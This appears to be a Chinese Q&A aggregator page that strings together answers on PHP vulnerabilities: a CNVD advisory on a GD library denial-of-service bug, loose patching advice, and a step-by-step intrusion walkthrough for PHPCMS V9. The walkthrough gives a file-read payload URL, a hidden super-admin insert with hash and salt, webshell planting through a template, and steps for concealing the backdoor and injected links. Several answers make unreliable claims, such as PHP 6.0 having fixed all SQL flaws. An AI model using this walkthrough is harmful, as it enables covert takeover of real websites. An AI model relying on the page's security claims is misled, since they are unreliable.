本文目录一览：
- 1、用什么工具检测php网站是否存在注入漏洞？
- 2、PHP GD Graphics Library拒绝服务漏洞
- 3、php如何打漏洞补丁？
- 4、php漏洞修复
- 5、iis7.0解析漏洞 php用什么软件检测
用什么工具检测php网站是否存在注入漏洞？
PHP的安全性现在是越来越好了PHP6。0版本都把存在的SQL漏洞都解决了
但是为了安全起见还是应该做安全检测
检测方法：SQL 注入法 、脚本代码、参数传递等方法 具体情况参看PHP官方网站 安全篇章
PHP GD Graphics Library拒绝服务漏洞
关于PHP GD Graphics Library存在拒绝服务漏洞的安全公告
时间：2018-02-02
2018年1月18日，国家信息安全漏洞共享平台（CNVD）收录了PHP GD Graphics Library存在拒绝服务漏洞（CNVD-2018-02505，对应CVE-2018-5711）。综合利用上述漏洞，攻击者可以构造恶意GIF文件，远程利用PHP函数形成无限循环的方式发起拒绝服务攻击。目前，漏洞利用代码已公开，且厂商已发布漏洞修复版本。
一、漏洞情况分析
PHP（超文本预处理器）是一种通用开源脚本语言。GD Graphics Library（又名libgd或libgd2）是一个开源的用于动态创建图像的库，它支持创建图表、图形和缩略图等，广泛应用于PHP语言的开发。
该漏洞触发的前提条件为受影响版本的PHP，并且使用了libgd库，漏洞文件存在于ext/gd/libgd/gd_gif_in.c。在“LWZReadByte_”函数存在一个循环（while-loop），该循环里“GetCode_”函数会调用GetDataBlock来读取GIF图片中的数据，但由于“GetCode_”函数未能正确处理int到unsigned char的类型转换，导致PHP在解析特定GIF文件调用PHP函数imagecreatefromgif或imagecreatefromstring时出现死循环，从而导致服务器计算资源大量消耗，直至崩溃宕机。该漏洞允许远程攻击者利用该漏洞导致拒绝服务攻击。
CNVD对上述漏洞的综合评级为“高危”。
二、漏洞影响范围
PHP 5 5.6.33版本
PHP 7.0 7.0.27版本
PHP 7.1 7.1.13版本
PHP 7.2 7.2.1版本
三、漏洞修复建议
目前，厂商已发布升级新版本以修复该漏洞，最新版本下载链接。
附：参考链接：
php如何打漏洞补丁？
首先那些检测漏洞的网站也别太当真，很多都是胡扯，我还遇到过开放80端口也算是高危漏洞的检测咧，按他们说的只有拔掉服务器电源才是最安全的。
另外如果真的有漏洞，那也是程序代码上的漏洞，一般不可能是php版本的漏洞，从来没听过有什么漏洞通过升级php版本就能解决的。
你是不是那这个漏洞当成了windows漏洞一样，打个补丁升个级就修复了，就算是打补丁升级，也是升级你的代码。
php漏洞修复
打开php配置文件，php.ini，然后在里面搜索dll，把你下载的布丁照着格式复制一行就行了。比如你下载的补丁为abc.dll;就加一行extension=abc.dll
iis7.0解析漏洞 php用什么软件检测
本文利用了PHPCMS V9的两个漏洞，一个是读取任意文件漏洞，另一个是模版运行php脚本漏洞。使用到的工具：Navicat for Mysql/IE浏览器(建议使用代理)/湛蓝v9代码包（包含文中使用到的所有文件、代码和木马）
1、放置data.txt以备在目标站点读取并在目标站点生成PHP木马脚本使用。
例如将data.txt放置在yun.baidu.com/j0192/data.txt
2、通过v9漏洞获取配置信息（请参阅：phpcms V9最新读取站点任意文件漏洞）。
/index.php?m=searchc=indexa=public_get_suggest_keywordurl=asdfq=../../phpsso_server/caches/configs/database.php
3、通过v9系统漏洞获取到的数据库信息远程登陆目标站点数据库，在v9_admin和v9_sso_admin表中添加账号
username字段：admn
password字段：10203d4623c1957d041818196ff9822a
encrypt 字段：bGV22e
issuper 字段: 1
4、通过数据库添加管理员账号后使用以下用户名密码在后台登陆，然后修改当前用户密码。
用户名：admn
密码：123456
5、ctrl+a复制write.php全部内容粘贴进v9默认模版下的footer.html保存，然后点击footer.html的可视化运行该模版中的脚本，到此时就完成在目标站点生成木马脚本。
6、打开ifeng.com/caches/caches_template/default/wap/data.class.php
用户名：admin
密码：admin
7、隐藏新增加的管理员。
通过木马脚本上传替换/phpcms/modules/admin/admin_manage.php(默认匹配%admn%)，然后登陆目标站点后台查看管理员列表是否还有用户名为admn的超级管理员，如果没有则表明我们完成了新加管理员的隐藏。
8、隐藏新增加的关联链接
通过木马脚本上传替换/phpcms/modules/admin/keylink.php((默认匹配%skyhome%))
9、将目标网站的漏洞修复，以防其他黑客入侵。
通过木马脚本上传替换/phpcms/modules/search/index.php
防黑参考:
1、关闭数据库远程访问。
2、静态文件及附件等文件目录禁止执行权限。
3、脚本文件目录禁止写权限。
4、系统后台等重要目录限制IP访问。
5、及时关注开源系统官方补丁升级和乌云、sebug等漏洞发布平台，修复系统漏洞。
